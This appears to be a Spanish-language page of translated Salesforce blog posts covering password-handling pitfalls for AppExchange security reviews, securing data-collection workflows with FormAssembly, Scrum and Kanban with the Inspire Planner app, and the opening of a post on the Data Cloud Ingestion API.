  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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Cómo mantener la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Cómo mantener la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Última actualización el 18 de agosto de 2023 por Rakesh Gupta

La seguridad de los datos debe ser una de sus principales prioridades si recopila, almacena y administra información personal. La protección de datos es especialmente importante si sus flujos de trabajo de recopilación de datos de Salesforce se integran con varias herramientas, como un generador de formularios web o un sistema de pago.

Muchas regiones e industrias tienen leyes estrictas de privacidad de datos, que incluyen GDPR, GLBA, HIPAA y otras, que rigen la forma en que las organizaciones manejan los datos. Puede garantizar la seguridad y el cumplimiento de los datos a lo largo de sus flujos de trabajo de recopilación de datos de Salesforce de varias maneras, incluido el enmascaramiento y el cifrado de datos, el control y los permisos de acceso, y el monitoreo regular.

Comprender la importancia de mantener los datos seguros

Los datos confidenciales son todos los datos que se pueden usar para identificar a una persona o dañarlos si se pierden o son robados. Los tipos de datos confidenciales incluyen:

  • Información de identificación personal
  • información de salud protegida
  • Registros financieros o educativos
  • Datos étnicos, políticos y biométricos

Mantener la seguridad de los datos personales ayuda a generar confianza con las personas que comparten su información personal con usted. También garantiza que su organización evite sanciones por incumplimiento de las leyes de privacidad de datos.

Prácticas recomendadas de seguridad al recopilar datos

Su organización es responsable de asegurarse de que las herramientas de recopilación de datos que utiliza tengan implementadas las medidas de seguridad adecuadas. Podrá proteger mejor los datos confidenciales desde el momento en que se recopilan, a medida que se mueven a través de sus flujos de trabajo y cuando se trasladan a Salesforce.

Enmascarar campos sensibles

El enmascaramiento de campo ayuda a garantizar que los datos confidenciales se mantengan confidenciales y no se expongan innecesariamente a usuarios no autorizados.

Cifrar datos

El cifrado de datos ayuda a proteger los datos confidenciales contra el acceso, uso o robo no autorizados, ya sea que estos datos estén en reposo o en tránsito.

Limite el acceso a los datos

La implementación de control de acceso y permisos garantiza que solo los usuarios autorizados puedan acceder o modificar los datos.

Supervisar y auditar flujos de trabajo

La vigilancia constante ayuda a garantizar que los flujos de trabajo de recopilación de datos mantengan el nivel adecuado de seguridad para mantener seguros los datos confidenciales.

2 formas de mejorar la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Un flujo de trabajo de recopilación de datos de varios pasos tendrá diferentes puntos de entrada con posibles riesgos de seguridad, como formularios, correos electrónicos y cargas de archivos. Es importante que en cada paso de sus procesos de datos, tenga medidas de seguridad para garantizar que personas no autorizadas no accedan a datos o archivos.

Asegúrese también de probar continuamente sus flujos de trabajo de recopilación de datos de Salesforce en busca de vulnerabilidades de seguridad. La detección temprana de amenazas disminuirá la posibilidad de una violación de datos u otras consecuencias graves.

Implementar reglas de retención de datos

La creación de una política clara de retención de datos es fundamental para definir cómo su organización maneja los datos con fines de cumplimiento. Es importante establecer reglas sobre qué datos deben conservarse y durante cuánto tiempo, así como reglas sobre quién tiene acceso y cómo deshacerse de los datos correctamente una vez que ya no se necesitan.

Acceso a los datos

Establecer reglas de acceso a datos como parte de su política de retención de datos garantizará que solo los usuarios autorizados en un flujo de trabajo tengan acceso a datos confidenciales. Los controles administrativos también pueden incluir el requisito de que los usuarios inicien sesión para ver o modificar las listas de respuestas del flujo de trabajo.

Purga de datos

Dentro de su flujo de trabajo, la configuración de reglas de depuración de datos puede garantizar que los datos de respuesta se eliminen de forma permanente una vez que ya no los utilice. Personalice esta configuración de depuración de datos, como la frecuencia con la que se completa una depuración, según sus requisitos de retención de datos.

Aproveche las aprobaciones del flujo de trabajo

Establecer pasos de aprobación dentro de los flujos de trabajo es importante para garantizar la responsabilidad durante el proceso de recopilación de datos. Los pasos de aprobación dentro de un flujo de trabajo significan que ningún usuario tiene control total sobre los cambios o decisiones de datos, lo que ayuda a mejorar la seguridad y la confidencialidad.

Detección de errores

Los pasos de aprobación en un flujo de trabajo proporcionan un proceso de revisión de datos estándar antes de que los datos se acepten o utilicen oficialmente. Esto ayuda a reducir las incoherencias y los errores, así como a garantizar el cumplimiento de las normas de privacidad de datos pertinentes.

Pista de auditoría

Los registros de auditoría para las aprobaciones de flujos de trabajo simplifican el proceso al registrar cada paso de aprobación y crear un registro histórico de los cambios realizados en los datos. También se pueden utilizar durante las investigaciones en caso de brechas de seguridad o problemas de datos.

Simplificación de los flujos de trabajo de recopilación de datos de Salesforce con FormAssembly

Cuando se trata de proteger los flujos de trabajo de datos, es fundamental contar con políticas de privacidad y seguridad de datos. Su organización puede beneficiarse del uso de una única plataforma de flujo de trabajo y recopilación de datos como FormAssembly, que facilita la centralización de la protección contra amenazas y garantiza el cumplimiento. Este enfoque le permite escalar más fácilmente, auditar los flujos de datos de forma centralizada y aumentar la eficiencia, al mismo tiempo que maximiza la seguridad en todos sus flujos de trabajo de recopilación de datos de Salesforce.

La potente plataforma conectada a Salesforce de FormAssembly combina la recopilación de datos segura y compatible con un generador de procesos visual e inteligente que le permite crear procesos complejos que incluyen formularios, correos electrónicos, integraciones y más, todo sin código.

Descubra cómo FormAssembly puede ayudarlo a optimizar sus flujos de trabajo de recopilación de datos de Salesforce mientras mantiene seguros los datos confidenciales.

👉 Más información sobre el flujo de trabajo de FormAssembly

Evaluación formativa:

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¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

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Incorporación de Agile en Salesforce DevOps – Inspire Planner

Incorporación de Agile en Salesforce DevOps - Inspire Planner

La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.

La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organización utiliza metodologías Scrum o Kanban. Entonces, la pregunta es, ¿y tú?

Comprensión de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye información sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspección : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptación : si el equipo identifica discrepancias significativas durante una inspección, debe ajustar su proceso o los materiales en los que se está trabajando.

Melé

Scrum está diseñado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de períodos específicos conocidos como sprints. Un Sprint es un período de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duración más común es de dos semanas. El equipo evalúa su progreso en reuniones diarias de scrum, que son debates rápidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.

Gestión de proyectos Scrum en Inspire Planner, la aplicación de gestión de proyectos nativa de Salesforce
Creación de un Sprint en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a través del sistema y responder rápidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que está en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a través del sistema Kanban.
  • Gestionar Flujo : La gestión de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalización rápidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Análisis comparativo de Scrum y Kanban

El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.

Melé Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. Se enfoca en el flujo continuo y no tiene plazos específicos.
roles Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosofía del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Melé Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida.
+ Funciones y responsabilidades bien definidas mejoran la rendición de cuentas.
+ Las revisiones periódicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualización del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones – Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
– No es tan flexible para cambiar a mitad del sprint.
– Requiere un alto nivel de disciplina y comprensión de los principios de Scrum.
– Puede que no sea tan efectivo para tareas complejas e interdependientes.
– Sin disciplina, los límites WIP pueden ignorarse, lo que genera cuellos de botella.
– La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder más rápidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo sólido y una comunicación efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas periódicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigación de riesgos : los sprints breves y delimitados en el tiempo permiten la identificación y resolución temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener más detalles sobre este tema, consulte nuestro artículo sobre cómo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:

  • Colaboración : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desafíos del proyecto, lo que promueve una resolución de problemas más efectiva. Además, la comprensión compartida y la comunicación frecuente reducen los malentendidos y la repetición del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen fácilmente en el próximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Además, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar aún más la productividad.

    Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacción del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de características valiosas puede aumentar la satisfacción del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electrónica de consumo líder en Europa, se expandió a China en 2010, desarrolló rápidamente una innovadora suite de planificación de recursos empresariales (ERP) en un año. Gracias a la metodología Scrum y un equipo colaborativo, implementaron múltiples aplicaciones estándar, lo que facilitó el lanzamiento de nuevas tiendas en Asia y preparó un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, moviéndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados usándolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer límites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalización más rápida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quería aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus métodos ágiles, el cambio hacia el pensamiento Lean y la adopción de Kanban mejoraron drásticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en última instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran más competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los límites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar rápidamente ante nuevos problemas o cambios.

Pasos para integrar la metodología Kanban en proyectos de Salesforce

Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas típicas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar según las necesidades específicas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gestión de proyectos física o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer límites de trabajo en curso (WIP) : defina cuántas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los límites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los límites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores prácticas para integrar metodologías ágiles en Salesforce DevOps

Las siguientes prácticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educación

    Asegúrese de que los miembros de su equipo comprendan los principios Agile y las prácticas de Scrum o Kanban en función de la metodología elegida. Invierta en cursos de capacitación, talleres y recursos relevantes.

  • Empieza pequeño

    Comience con un proyecto pequeño que no tenga mucho en juego. Esto permitirá que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presión.

  • Seleccione un marco ágil adecuado

    Elija Scrum o Kanban según los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboración, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas ágiles de gestión de proyectos

    Utilice herramientas diseñadas específicamente para prácticas ágiles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transición. Si su organización utiliza Salesforce, idealmente debería buscar una herramienta de gestión de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones periódicas de preparación del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Esté preparado para incorporar cambios en el próximo sprint (en Scrum) o cuando el límite WIP lo permita (en Kanban).
  • Realice retrospectivas : después de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qué funcionó bien, qué no y cómo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que están específicamente diseñadas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente útil si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta ágil de gestión de proyectos para SalesforceInspire Planner: herramienta ágil de gestión de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensión clara de los principios y prácticas involucrados. Es vital asegurarse de que su equipo reciba la capacitación adecuada antes de la implementación.
  • Descuidar la comunicación : la comunicación regular y clara es crucial en las metodologías ágiles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer más trabajo en menos tiempo. Se trata de administrar el trabajo de manera más efectiva. Asegúrese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el límite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar rápidamente, los equipos pueden comprometer la calidad. Incorpore prácticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas periódicas para identificar y abordar áreas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodologías ágiles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodologías sean menos efectivas. Supere esto a través de capacitación, comunicación abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transición.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusión e ineficiencia. Busque una aplicación de gestión de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporación y formación.
  • Falta de participación de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodologías ágiles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodologías ágiles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicación de gestión de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodologías Scrum y Kanban listas para usar. Inspire Planner tiene más de 130 reseñas de 5 estrellas en AppExchange e incluye todas las funciones estándar, como trabajos pendientes, sprints, puntos de la historia, gráficos de trabajo pendiente y más.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.

¿Y si necesita la gestión de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner también ofrece funciones avanzadas de gestión de proyectos para esta metodología, incluido un gráfico de Gantt interactivo, gestión de recursos, seguimiento del tiempo, carteras, gestión de riesgos, líneas base, dependencias de tareas avanzadas, ruta crítica, uso compartido externo, gestión de restricciones, automatización. , y mucho más.

Trello

Trello es un sistema fácil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalización o las funciones de generación de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opción atractiva para equipos más pequeños o proyectos simples.

Una mirada más cercana a Inspire Planner

Inspire Planner está diseñado para ser una solución de gestión de proyectos Agile integral pero fácil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:

  • Soporte ágil completo : Inspire Planner es compatible con las metodologías Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar fácilmente la acumulación de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.
  • Integración perfecta con Salesforce : dado que Inspire Planner vive dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicación de datos y conecta sus datos de Salesforce con sus flujos de trabajo ágiles.
  • Colaboración : Aprovecha Chatter de Salesforce para la comunicación, fomentando la colaboración dentro del equipo. También puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore rápidamente nuevos equipos e impulse la adopción a través de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones estándar como Tareas de Salesforce, Chatter, Informes y Paneles, y más.

Elegir la herramienta adecuada para sus necesidades y el tamaño de su equipo

Elegir la herramienta adecuada depende del tamaño de su equipo, la complejidad del proyecto y la metodología Agile que siga. Aquí hay algunas pautas:

  • Tamaño del equipo y complejidad del proyecto : para equipos pequeños o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta más robusta como Jira o Inspire Planner podría ser más adecuada para equipos más grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y más.
  • Integración de Salesforce : si su organización utiliza mucho Salesforce, una aplicación nativa de Salesforce como Inspire Planner podría ser la mejor opción para una integración perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitación de Salesforce para comenzar.
  • Metodología ágil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podrían ser preferibles. Para Kanban, las tres herramientas podrían satisfacer sus necesidades. Para una combinación de metodologías Agile y Waterfall, Inspire Planner sería la mejor opción.
  • Presupuesto : El costo podría ser otro factor decisivo. Trello suele ser más rentable para equipos pequeños, mientras que Jira e Inspire Planner ofrecen funciones más avanzadas a un costo mayor.

Conclusión

La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aquí hay algunas ideas procesables:

  • Comprométase con el aprendizaje continuo : anime a su equipo a aprender de cada iteración y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la única constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboración : promover una cultura de comunicación abierta y colaboración. Esto puede conducir a soluciones más innovadoras y a un equipo más fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicación.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.

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Cargue datos mediante programación con la API de ingesta ☁️

Cargue datos mediante programación con la API de ingesta ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Cargue datos mediante programación con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importación de datos. Estos le permiten conectar otra organización de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programación en Data Cloud. Admite patrones de interacción masiva y de transmisión. El patrón de transmisión usa JSON como su formato, cargando datos en micro lotes a través de la API REST. El patrón masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicación de blog, analizaremos cómo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programación utilizando los patrones Streaming y Bulk.

Cuándo usar la ingestión Streaming vs Bulk

Ingestión de transmisión Ingestión a granel
Al actualizar pequeños microlotes de registros casi en tiempo real Al mover grandes volúmenes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisión modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
